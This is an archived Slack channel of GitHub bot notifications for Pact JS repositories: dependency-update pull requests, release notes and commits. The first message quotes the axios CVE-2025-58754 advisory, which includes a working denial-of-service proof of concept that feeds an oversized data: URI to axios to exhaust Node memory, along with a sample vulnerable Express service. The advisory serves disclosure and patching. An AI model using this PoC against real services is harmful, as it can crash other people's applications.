https://pact.io logo
Join Slack
Powered by
# pact-js-development
  • g

    GitHub

    09/14/2025, 12:32 AM
    #1561 fix(deps): update dependency axios to v1.12.0 [security] Pull request opened by renovate[bot] This PR contains the following updates: | Package | Change | Age | Confidence | | ----------------------------------------------------------------------------------- | ----------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | [axios](https://axios-http.com) ([source](https://redirect.github.com/axios/axios)) | [1.8.4 -> 1.12.0](https://renovatebot.com/diffs/npm/axios/1.8.4/1.12.0) | [[age](https://camo.githubusercontent.com/8e99f4451219017b2bd261b3b7df888ff29cde33191096612d0defe26d50fd2b/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f6167652f6e706d2f6178696f732f312e31322e303f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | [[confidence](https://camo.githubusercontent.com/445d49788cd1fd877ce424f74266085b75a54b54a4da16356b83e2d1d815c7a1/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f636f6e666964656e63652f6e706d2f6178696f732f312e382e342f312e31322e303f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | ### GitHub Vulnerability Alerts #### CVE-2025-58754 ## Summary When Axios runs on Node.js and is given a URL with the
    data:
    scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response. This path ignores
    maxContentLength
    /
    maxBodyLength
    (which only protect HTTP responses), so an attacker can supply a very large
    data:
    URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested
    responseType: 'stream'
    . ## Details The Node adapter (
    lib/adapters/http.js
    ) supports the
    data:
    scheme. When
    axios
    encounters a request whose URL starts with
    data:
    , it does not perform an HTTP request. Instead, it calls
    fromDataURI()
    to decode the Base64 payload into a Buffer or Blob. Relevant code from `[httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231)`: const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls); const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined); const protocol = parsed.protocol || supportedProtocols[0]; if (protocol === 'data:') { let convertedData; if (method !== 'GET') { return settle(resolve, reject, { status: 405, ... }); } convertedData = fromDataURI(config.url, responseType === 'blob', { Blob: config.env && config.env.Blob }); return settle(resolve, reject, { data: convertedData, status: 200, ... }); } The decoder is in `[lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27)`: export default function fromDataURI(uri, asBlob, options) { ... if (protocol === 'data') { uri = protocol.length ? uri.slice(protocol.length + 1) : uri; const match = DATA_URL_PATTERN.exec(uri); ... const body = match[3]; const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8'); if (asBlob) { return new _Blob([buffer], {type: mime}); } return buffer; } throw new AxiosError('Unsupported protocol ' + protocol, ...); } • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks. • It does not honour
    config.maxContentLength
    or
    config.maxBodyLength
    , which only apply to HTTP streams. • As a result, a
    data:
    URI of arbitrary size can cause the Node process to allocate the entire content into memory. In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when
    totalResponseBytes
    exceeds `[maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550)`. No such check occurs for
    data:
    URIs. ## PoC const axios = require('axios'); async function main() { // this example decodes ~120 MB const base64Size = 160_000_000; // 120 MB after decoding const base64 = 'A'.repeat(base64Size); const uri = 'data:application/octet-stream;base64,' + base64; console.log('Generating URI with base64 length:', base64.length); const response = await axios.get(uri, { responseType: 'arraybuffer' }); console.log('Received bytes:', response.data.length); } main().catch(err => { console.error('Error:', err.message); }); Run with limited heap to force a crash: node --max-old-space-size=100 poc.js Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
    Copy code
    <--- Last few GCs --->
    …
    FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
    1: 0x… node::Abort() …
    …
    Mini Real App PoC: A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore
    maxContentLength
    ,
    maxBodyLength
    and decodes into memory on Node before streaming enabling DoS. import express from "express"; import morgan from "morgan"; import axios from "axios"; import http from "node:http"; import https from "node:https"; import { PassThrough } from "node:stream"; const keepAlive = true; const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 }); const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 }); const axiosClient = axios.create({ timeout: 10000, maxRedirects: 5, httpAgent, httpsAgent, headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" }, validateStatus: c => c >= 200 && c < 400 }); const app = express(); const PORT = Number(process.env.PORT || 8081); const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb"; app.use(express.json({ limit: BODY_LIMIT })); app.use(morgan("combined")); app.get("/healthz", (req,res)=>res.send("ok")); /** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */ app.post("/preview", async (req, res) => { const url = req.body?.url; if (!url) return res… pact-foundation/pact-js
    • 1
    • 1
  • g

    GitHub

    09/15/2025, 3:43 PM
    Release - Release v16.1.1 New release published by github-actions[bot] ## 16.1.1 (2025-09-15) ### Fixes and Improvements • update pact-ffi to 0.4.28 (b5b9940) pact-foundation/pact-js-core
  • g

    GitHub

    09/15/2025, 4:49 PM
    #648 chore(deps): update everything - BREAKING CHANGE (node &gt;=20) Pull request opened by JP-Ellis Update all the dependencies in one go, to help get through the backlog. Other than the upgrades, the only notable change is removing the
    airbnb
    eslint configs as they do not support ESLint 9. pact-foundation/pact-js-core
    • 1
    • 1
  • g

    GitHub

    09/15/2025, 4:50 PM
    #606 build(deps): bump serialize-javascript and mocha Pull request opened by dependabot[bot] Bumps serialize-javascript to 6.0.2 and updates ancestor dependency mocha. These dependencies need to be updated together. Updates
    serialize-javascript
    from 6.0.0 to 6.0.2 Release notes Sourced from serialize-javascript's releases.
    ## v6.0.2
    • fix: serialize URL string contents to prevent XSS (#173) f27d65d
    • Bump
    @​babel/traverse
    from 7.10.1 to 7.23.7 (#171) 02499c0
    • docs: update readme with URL support (#146) 0d88527
    • chore: update node version and lock file e2a3a91
    • fix typo (#164) 5a1fa64
    yahoo/serialize-javascript@v6.0.1...v6.0.2
    ## v6.0.1
    ## What's Changed
    • Bump mocha from 9.0.1 to 9.0.2 by `@​dependabot` in yahoo/serialize-javascript#126
    • Bump mocha from 9.0.2 to 9.0.3 by `@​dependabot` in yahoo/serialize-javascript#127
    • Bump path-parse from 1.0.6 to 1.0.7 by `@​dependabot` in yahoo/serialize-javascript#129
    • Bump mocha from 9.0.3 to 9.1.0 by `@​dependabot` in yahoo/serialize-javascript#130
    • Bump mocha from 9.1.0 to 9.1.1 by `@​dependabot` in yahoo/serialize-javascript#131
    • Bump mocha from 9.1.1 to 9.1.2 by `@​dependabot` in yahoo/serialize-javascript#132
    • Bump mocha from 9.1.2 to 9.1.3 by `@​dependabot` in yahoo/serialize-javascript#133
    • Bump mocha from 9.1.3 to 9.1.4 by `@​dependabot` in yahoo/serialize-javascript#137
    • Bump mocha from 9.1.4 to 9.2.0 by `@​dependabot` in yahoo/serialize-javascript#138
    • Bump chai from 4.3.4 to 4.3.6 by `@​dependabot` in yahoo/serialize-javascript#140
    • Bump ansi-regex from 5.0.0 to 5.0.1 by `@​dependabot` in yahoo/serialize-javascript#141
    • Bump mocha from 9.2.0 to 9.2.2 by `@​dependabot` in yahoo/serialize-javascript#143
    • Bump minimist from 1.2.5 to 1.2.6 by `@​dependabot` in yahoo/serialize-javascript#144
    • Bump mocha from 9.2.2 to 10.0.0 by `@​dependabot` in yahoo/serialize-javascript#145
    • Bump mocha from 10.0.0 to 10.1.0 by `@​dependabot` in yahoo/serialize-javascript#149
    • Bump chai from 4.3.6 to 4.3.7 by `@​dependabot` in yahoo/serialize-javascript#150
    • ci: test.yml - actions bump by `@​piwysocki` in yahoo/serialize-javascript#151
    • Bump minimatch from 3.0.4 to 3.1.2 by `@​dependabot` in yahoo/serialize-javascript#152
    • Bump mocha from 10.1.0 to 10.2.0 by `@​dependabot` in yahoo/serialize-javascript#153
    • Bump json5 from 2.1.3 to 2.2.3 by `@​dependabot` in yahoo/serialize-javascript#155
    • Fix serialization issue for 0n. by `@​momocow` in yahoo/serialize-javascript#156
    • Release v6.0.1 by `@​okuryu` in yahoo/serialize-javascript#157
    ## New Contributors
    • `@​piwysocki` made their first contribution in yahoo/serialize-javascript#151
    • `@​momocow` made their first contribution in yahoo/serialize-javascript#156
    Full Changelog: yahoo/serialize-javascript@v6.0.0...v6.0.1
    Commits • `b71ec23` 6.0.2 • `f27d65d` fix: serialize URL string contents to prevent XSS (#173) • `02499c0` Bump
    @​babel/traverse
    from 7.10.1 to 7.23.7 (#171) • `0d88527` docs: update readme with URL support (#146) • `e2a3a91` chore: update node version and lock file • `5a1fa64` fix typo (#164) • `7139f92` Release v6.0.1 (#157) • `7e23ae8` Fix serialization issue for 0n. (#156) • `343abd9` Bump json5 from 2.1.3 to 2.2.3 (#155) • `38d0e70` Bump mocha from 10.1.0 to 10.2.0 (#153) • Additional commits viewable in compare view Updates
    mocha
    from 9.2.2 to 11.1.0 Release notes _Sourced from <https://github.… pact-foundation/pact-js-core
    • 1
    • 1
  • g

    GitHub

    09/15/2025, 4:56 PM
    #690 chore(deps): pin dependencies Pull request opened by renovate[bot] Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs from Renovate will soon appear from 'Mend'. Learn more here. This PR contains the following updates: | Package | Type | Update | Change | | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------- | ------ | -------------------------------------------------------------------------------------- | | [@eslint/compat](https://redirect.github.com/eslint/rewrite/tree/main/packages/compat#readme) ([source](https://redirect.github.com/eslint/rewrite/tree/HEAD/packages/compat)) | devDependencies | pin | [^1.2.9 -> 1.3.2](https://renovatebot.com/diffs/npm/@eslint%2fcompat/1.3.2/1.3.2) | | [@eslint/eslintrc](https://redirect.github.com/eslint/eslintrc) | devDependencies | pin | [^3.3.1 -> 3.3.1](https://renovatebot.com/diffs/npm/@eslint%2feslintrc/3.3.1/3.3.1) | | [@eslint/js](https://eslint.org) ([source](https://redirect.github.com/eslint/eslint/tree/HEAD/packages/js)) | devDependencies | pin | [^9.28.0 -> 9.28.0](https://renovatebot.com/diffs/npm/@eslint%2fjs/9.28.0/9.28.0) | | [eslint](https://eslint.org) ([source](https://redirect.github.com/eslint/eslint)) | devDependencies | pin | [^9.28.0 -> 9.28.0](https://renovatebot.com/diffs/npm/eslint/9.28.0/9.28.0) | | [globals](https://redirect.github.com/sindresorhus/globals) | devDependencies | pin | [^16.2.0 -> 16.3.0](https://renovatebot.com/diffs/npm/globals/16.3.0/16.3.0) | | [typescript](https://www.typescriptlang.org/) ([source](https://redirect.github.com/microsoft/TypeScript)) | devDependencies | pin | [^5.8.3 -> 5.8.3](https://renovatebot.com/diffs/npm/typescript/5.8.3/5.8.3) | | [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | devDependencies | pin | [^8.34.0 -> 8.40.0](https://renovatebot.com/diffs/npm/typescript-eslint/8.40.0/8.40.0) | Add the preset
    :preserveSemverRanges
    to your config if you don't want to pin your dependencies. --- ### Configuration 📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 Automerge: Enabled. ♻️ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired. --- • If you want to rebase/retry this PR, check this box --- This PR was generated by Mend Renovate. View the repository job log. pact-foundation/pact-js-core
  • g

    GitHub

    09/15/2025, 4:56 PM
    #691 chore(deps): update dependency chai-as-promised to v8.0.2 Pull request opened by renovate[bot] Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs from Renovate will soon appear from 'Mend'. Learn more here. This PR contains the following updates: | Package | Change | Age | Confidence | | ----------------------------------------------------------------------- | -------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | [chai-as-promised](https://redirect.github.com/chaijs/chai-as-promised) | [8.0.1 -> 8.0.2](https://renovatebot.com/diffs/npm/chai-as-promised/8.0.1/8.0.2) | [[age](https://camo.githubusercontent.com/63592b6913f306b6d620c5eba29e251ca5f9e66ffca380227387529223d2d509/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f6167652f6e706d2f636861692d61732d70726f6d697365642f382e302e323f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | [[confidence](https://camo.githubusercontent.com/b2bb8a3763502e31f48efc4d14bee943771dba8f50eb2e9a709fb9e2323cd424/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f636f6e666964656e63652f6e706d2f636861692d61732d70726f6d697365642f382e302e312f382e302e323f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | --- ### Release Notes chaijs/chai-as-promised (chai-as-promised) ### `v8.0.2` Compare Source #### What's Changed • chore: add renovate by @​43081j in #​304 • chore(deps): update dependency c8 to v10 by @​renovate[bot] in #​305 • chore: move to eslint flat config by @​43081j in #​308 • chore(deps): update dependency eslint to v9 by @​renovate[bot] in #​306 • chore(deps): update dependency mocha to v11 by @​renovate[bot] in #​309 • fix(deps): update dependencies by @​renovate[bot] in #​310 • chore(deps): update dependencies by @​renovate[bot] in #​311 • chore(deps): update dependency globals to v16 by @​renovate[bot] in #​312 • chore(deps): update dependencies by @​renovate[bot] in #​313 • chore(deps): update dependency prettier to v3.5.3 by @​renovate[bot] in #​314 • chore(deps): update dependencies to v9.22.0 by @​renovate[bot] in #​315 • chore(deps): update dependencies by @​renovate[bot] in #​316 • chore(deps): update dependency eslint to v9.24.0 by @​renovate[bot] in #​317 • chore(deps): update dependencies to v9.25.0 by @​renovate[bot] in #​318 • chore(deps): update dependencies to v9.25.1 by @​renovate[bot] in #​319 • chore(deps): update dependencies by @​renovate[bot] in #​320 • chore(deps): update dependency globals to v16.1.0 by @​renovate[bot] in #​321 • chore(deps): update dependencies by @​renovate[bot] in #​322 • chore(deps): update dependencies by @​renovate[bot] in #​323 • chore(deps): update dependencies to v9.28.0 by @​renovate[bot] in #​324 • chore(deps): update dependencies by @​renovate[bot] in #​325 • chore(deps): update dependencies by @​renovate[bot] in #​326 • chore(deps): update dependencies by @​renovate[bot] in #​327 • chore(deps): update dependencies by @​renovate[bot] in #​328 • chore(deps): update dependencies by @​renovate[bot] in #​329 • chore(deps): update dependencies to v9.32.0 by @​renovate[bot] in #​330 • chore(deps): update dependencies to v9.33.0 by @​renovate[bot] in #​331 • chore(deps): update actions/checkout action to v5 by @​renovate[bot] in #​332 • chore: support chai 6 by @​43081j in #​335 #### New Contributors • <https://redirect.github.com/reno… pact-foundation/pact-js-core
    • 1
    • 1
  • g

    GitHub

    09/15/2025, 4:56 PM
    #692 chore(deps): update dependency decamelize to v6.0.1 Pull request opened by renovate[bot] Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs from Renovate will soon appear from 'Mend'. Learn more here. This PR contains the following updates: | Package | Change | Age | Confidence | | ----------------------------------------------------------------- | -------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | [decamelize](https://redirect.github.com/sindresorhus/decamelize) | [6.0.0 -> 6.0.1](https://renovatebot.com/diffs/npm/decamelize/6.0.0/6.0.1) | [[age](https://camo.githubusercontent.com/3466a52507dd7b2ee99b53397da905d7d22bd15f9a084897ad3a1a1851f033dc/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f6167652f6e706d2f646563616d656c697a652f362e302e313f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | [[confidence](https://camo.githubusercontent.com/51ad762b94a2570f73a0f824e29c891a03e09ffad17fd384912bf95d3b0f48b3/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f636f6e666964656e63652f6e706d2f646563616d656c697a652f362e302e302f362e302e313f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | --- ### Release Notes sindresorhus/decamelize (decamelize) ### `v6.0.1` Compare Source • Fix performance issues in some extreme edge-cases `e9e3041` --- --- ### Configuration 📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 Automerge: Enabled. ♻️ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 Ignore: Close this PR and you won't be reminded about this update again. --- • If you want to rebase/retry this PR, check this box --- This PR was generated by Mend Renovate. View the repository job log. pact-foundation/pact-js-core
  • g

    GitHub

    09/15/2025, 4:56 PM
    #693 chore(deps): update dependency eslint-config-prettier to v10.1.8 Pull request opened by renovate[bot] Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs from Renovate will soon appear from 'Mend'. Learn more here. This PR contains the following updates: | Package | Change | Age | Confidence | | ------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | [eslint-config-prettier](https://redirect.github.com/prettier/eslint-config-prettier) | [10.1.5 -> 10.1.8](https://renovatebot.com/diffs/npm/eslint-config-prettier/10.1.5/10.1.8) | [[age](https://camo.githubusercontent.com/79d20392030f38362ba6e2e8bf965de17962b28d618476a5e8d096c43d314c65/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f6167652f6e706d2f65736c696e742d636f6e6669672d70726574746965722f31302e312e383f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | [[confidence](https://camo.githubusercontent.com/48db1c8808883fcdc461c0c2940c6e7ea4ee350aa13b6c49c0deacfd3ce5860e/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f636f6e666964656e63652f6e706d2f65736c696e742d636f6e6669672d70726574746965722f31302e312e352f31302e312e383f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | --- ### Release Notes prettier/eslint-config-prettier (eslint-config-prettier) ### `v10.1.8` Compare Source ### eslint-config-prettier #### 10.1.5 ##### Patch Changes • #​332 `60fef02` Thanks @​JounQin! - chore: add
    funding
    field into
    package.json
    #### 10.1.4 ##### Patch Changes • #​328 `94b4799` Thanks @​silvenon! - fix(cli): do not crash on no rules configured #### 10.1.3 ##### Patch Changes • #​325 `4e95a1d` Thanks @​pilikan! - fix: this package is
    commonjs
    , align its types correctly #### 10.1.2 ##### Patch Changes • #​321 `a8768bf` Thanks @​Fdawgs! - chore(package): add homepage for some 3rd-party registry - see #​321 for more details #### 10.1.1 ##### Patch Changes • #​309 `eb56a5e` Thanks @​JounQin! - fix: separate the
    /flat
    entry for compatibility For flat config users, the previous
    "eslint-config-prettier"
    entry still works, but
    "eslint-config-prettier/flat"
    adds a new
    name
    property for config-inspector, we just can't add it for the default entry for compatibility. See also #​308
    Copy code
    // before  
    import eslintConfigPrettier from "eslint-config-prettier";  
    // after  
    import eslintConfigPrettier from "eslint-config-prettier/flat";
    #### 10.1.0 ##### Minor Changes • #​306 `56e2e34` Thanks @​JounQin! - feat: migrate to exports field #### 10.0.3 ##### Patch Changes • #​294 `8dbbd6d` Thanks @​FloEdelmann! - feat: add name to config • #​280 `cba5737` Thanks @​zanminkian! - feat: add declaration file #### 10.0.2 ##### Patch Changes • #​299 `e750edc` Thanks @​Fdawgs! - chore(package): explicitly declare js module type #### 10.0.0 ##### Major Changes • #​272 `5be64be` Thanks @​abrahamguo! - add support for @​stylistic formatting rules #### Versions before 10.0.0 ##### Version 9.1.0 (2023-12-02) • Added: unicorn/template-indent, (as a special rule). Thanks to Gürgün Dayıoğlu (@​gurgunday)! • Changed: All the formatting rules that were deprecated in ESLint 8.53.0 are now excluded if you set the
    ESLINT_CONFIG_PRETTIER_NO_DEPRECATED
    environment variable. ##### Version 9.0.0 (2023-08-05) • Added: The CLI helper tool n… pact-foundation/pact-js-core
  • g

    GitHub

    09/15/2025, 4:57 PM
    1 new commit pushed to
    <https://github.com/pact-foundation/jest-pact/tree/master|master>
    by YOU54F
    <https://github.com/pact-foundation/jest-pact/commit/7f54a56d039b3a7863811e84d767c87c068b235c|7f54a56d>
    - chore(deps): update actions/setup-node action to v5 (#414) pact-foundation/jest-pact
  • g

    GitHub

    09/15/2025, 4:57 PM
    1 new commit pushed to
    <https://github.com/pact-foundation/jest-pact/tree/master|master>
    by YOU54F
    <https://github.com/pact-foundation/jest-pact/commit/29280ac991a4a4ab1e6c19f341f2e7119be1b2bd|29280ac9>
    - chore(deps): update actions/checkout action to v5 (#412) pact-foundation/jest-pact
  • g

    GitHub

    09/15/2025, 4:57 PM
    #412 chore(deps): update actions/checkout action to v5 Pull request opened by renovate[bot] This PR contains the following updates: | Package | Type | Update | Change | | ---------------------------------------------------------------- | ------ | ------ | -------- | | [actions/checkout](https://redirect.github.com/actions/checkout) | action | major | v4 -> v5 | --- ### Release Notes actions/checkout (actions/checkout) ### `v5` Compare Source --- ### Configuration 📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied. ♻️ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 Ignore: Close this PR and you won't be reminded about this update again. --- • If you want to rebase/retry this PR, check this box --- This PR was generated by Mend Renovate. View the repository job log. pact-foundation/jest-pact
    • 1
    • 1
  • g

    GitHub

    09/15/2025, 4:58 PM
    1 new commit pushed to
    <https://github.com/pact-foundation/jest-pact/tree/master|master>
    by YOU54F
    <https://github.com/pact-foundation/jest-pact/commit/a26212aff249671be23b373ed1f2bb3ee1e29e7d|a26212af>
    - chore(deps): update dependency node to v22 (#411) pact-foundation/jest-pact
  • g

    GitHub

    09/15/2025, 4:58 PM
    #411 chore(deps): update dependency node to v22 Pull request opened by renovate[bot] This PR contains the following updates: | Package | Type | Update | Change | | --------------------------------------------------------- | --------- | ------ | -------- | | [node](https://redirect.github.com/actions/node-versions) | uses-with | major | 20 -> 22 | --- ### Release Notes actions/node-versions (node) ### `v22.19.0`: 22.19.0 Compare Source Node.js 22.19.0 ### `v22.18.0`: 22.18.0 Compare Source Node.js 22.18.0 ### `v22.17.1`: 22.17.1 Compare Source Node.js 22.17.1 ### `v22.17.0`: 22.17.0 Compare Source Node.js 22.17.0 ### `v22.16.0`: 22.16.0 Compare Source Node.js 22.16.0 ### `v22.15.1`: 22.15.1 Compare Source Node.js 22.15.1 ### `v22.15.0`: 22.15.0 Compare Source Node.js 22.15.0 ### `v22.14.0`: 22.14.0 Compare Source Node.js 22.14.0 ### `v22.13.1`: 22.13.1 Compare Source Node.js 22.13.1 ### `v22.13.0`: 22.13.0 Compare Source Node.js 22.13.0 ### `v22.12.0`: 22.12.0 Compare Source Node.js 22.12.0 ### `v22.11.0`: 22.11.0 Compare Source Node.js 22.11.0 ### `v22.10.0`: 22.10.0 Compare Source Node.js 22.10.0 ### `v22.9.0`: 22.9.0 Compare Source Node.js 22.9.0 ### `v22.8.0`: 22.8.0 Compare Source Node.js 22.8.0 ### `v22.7.0`: 22.7.0 Compare Source Node.js 22.7.0 ### `v22.6.0`: 22.6.0 Compare Source Node.js 22.6.0 ### `v22.5.1`: 22.5.1 Compare Source Node.js 22.5.1 ### `v22.5.0`: 22.5.0 Compare Source Node.js 22.5.0 ### `v22.4.1`: 22.4.1 Compare Source Node.js 22.4.1 ### `v22.4.0`: 22.4.0 Compare Source Node.js 22.4.0 ### `v22.3.0`: 22.3.0 Compare Source Node.js 22.3.0 ### `v22.2.0`: 22.2.0 Compare Source Node.js 22.2.0 ### `v22.1.0`: 22.1.0 Compare Source Node.js 22.1.0 ### `v22.0.0`: 22.0.0 Compare Source Node.js 22.0.0 --- ### Configuration 📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied. ♻️ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 Ignore: Close this PR and you won't be reminded about this update again. --- • If you want to rebase/retry this PR, check this box --- This PR was generated by Mend Renovate. View the repository job log. pact-foundation/jest-pact
    • 1
    • 1
  • g

    GitHub

    09/15/2025, 5:00 PM
    #352 chore(deps-dev): bump eslint-config-airbnb-typescript from 17.1.0 to 18.0.0 Pull request opened by dependabot[bot] Bumps eslint-config-airbnb-typescript from 17.1.0 to 18.0.0. Release notes Sourced from eslint-config-airbnb-typescript's releases.
    ## v18.0.0
    # 18.0.0 (2024-03-02)
    ### chore
    • upgrade to ts-eslint v7 (#334) (b00dada)
    ### BREAKING CHANGES
    • Update `@​typescript-eslint` to v7 or above, and eslint to 8.56.0 or above
    Commits • `b00dada` chore: upgrade to ts-eslint v7 (#334) • See full diff in compare view [Dependabot compatibility score](https://camo.githubusercontent.com/3ce75938fbd5eb5eee26077b40460e5a628cfa6fe3f47769afd83ccc0b6778de/68747470733a2f2f646570656e6461626f742d6261646765732e6769746875626170702e636f6d2f6261646765732f636f6d7061746962696c6974795f73636f72653f646570656e64656e63792d6e616d653d65736c696e742d636f6e6669672d616972626e622d74797065736372697074267061636b6167652d6d616e616765723d6e706d5f616e645f7961726e2670726576696f75732d76657273696f6e3d31372e312e30266e65772d76657273696f6e3d31382e302e30) You can trigger a rebase of this PR by commenting
    @dependabot rebase
    . --- Dependabot commands and options You can trigger Dependabot actions by commenting on this PR: •
    @dependabot rebase
    will rebase this PR •
    @dependabot recreate
    will recreate this PR, overwriting any edits that have been made to it •
    @dependabot merge
    will merge this PR after your CI passes on it •
    @dependabot squash and merge
    will squash and merge this PR after your CI passes on it •
    @dependabot cancel merge
    will cancel a previously requested merge and block automerging •
    @dependabot reopen
    will reopen this PR if it is closed •
    @dependabot close
    will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually •
    @dependabot show <dependency name> ignore conditions
    will show all of the ignore conditions of the specified dependency •
    @dependabot ignore this major version
    will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) •
    @dependabot ignore this minor version
    will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) •
    @dependabot ignore this dependency
    will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    Note
    Automatic rebases have been disabled on this pull request as it has been open for over 30 days.
    pact-foundation/jest-pact
    • 1
    • 1
  • g

    GitHub

    09/15/2025, 5:00 PM
    #394 chore(deps-dev): bump @typescript-eslint/eslint-plugin from 5.62.0 to 8.32.1 Pull request opened by dependabot[bot] Bumps @typescript-eslint/eslint-plugin from 5.62.0 to 8.32.1. Release notes Sourced from `@​typescript-eslint/eslint-plugin`'s releases.
    ## v8.32.1
    ## 8.32.1 (2025-05-12)
    ### 🩹 Fixes
    • eslint-plugin: [no-unnecessary-type-conversion] shouldn't have fixable property (#11194)
    • eslint-plugin: [no-deprecated] support computed member access (#10867)
    • eslint-plugin: [consistent-indexed-object-style] adjust auto-fixer to generate valid syntax for
    TSMappedType
    with no type annotation (#11180)
    • eslint-plugin: [consistent-indexed-object-style] check for indirect circular types in aliased mapped types (#11177)
    ### ❤️ Thank You
    • Azat S. `@​azat-io`
    • Dima Barabash `@​dbarabashh`
    • Ronen Amiel
    You can read about our versioning strategy and releases on our website.
    ## v8.32.0
    ## 8.32.0 (2025-05-05)
    ### 🚀 Features
    • eslint-plugin: [no-unnecessary-type-conversion] add rule (#10182)
    • eslint-plugin: [only-throw-error] add option
    allowRethrowing
    (#11075)
    ### 🩹 Fixes
    • deps: update dependency typedoc to ^0.28.0 (1fef33521)
    • eslint-plugin: [no-unnecessary-type-parameters] should parenthesize type in suggestion fixer if necessary (#10907)
    • eslint-plugin: [unified-signatures] exempt
    this
    from optional parameter overload check (#11005)
    • eslint-plugin: [prefer-nullish-coalescing] fix parenthesization bug in suggestion (#11098)
    • typescript-estree: ensure consistent TSMappedType AST shape (#11086)
    • typescript-estree: correct
    TSImportType
    property name when
    assert
    (#11115)
    ### ❤️ Thank You
    • Andy Edwards
    • Dima Barabash `@​dbarabashh`
    • Kirk Waiblinger `@​kirkwaiblinger`
    • mdm317
    • overlookmotel
    • Sasha Kondrashov
    • Yukihiro Hasegawa `@​y-hsgw`
    You can read about our versioning strategy and releases on our website.
    ## v8.31.1
    ## 8.31.1 (2025-04-28)
    ... (truncated) Changelog Sourced from `@​typescript-eslint/eslint-plugin`'s changelog.
    ## 8.32.1 (2025-05-12)
    ### 🩹 Fixes
    • eslint-plugin: [consistent-indexed-object-style] check for indirect circular types in aliased mapped types (#11177)
    • eslint-plugin: [consistent-indexed-object-style] adjust auto-fixer to generate valid syntax for
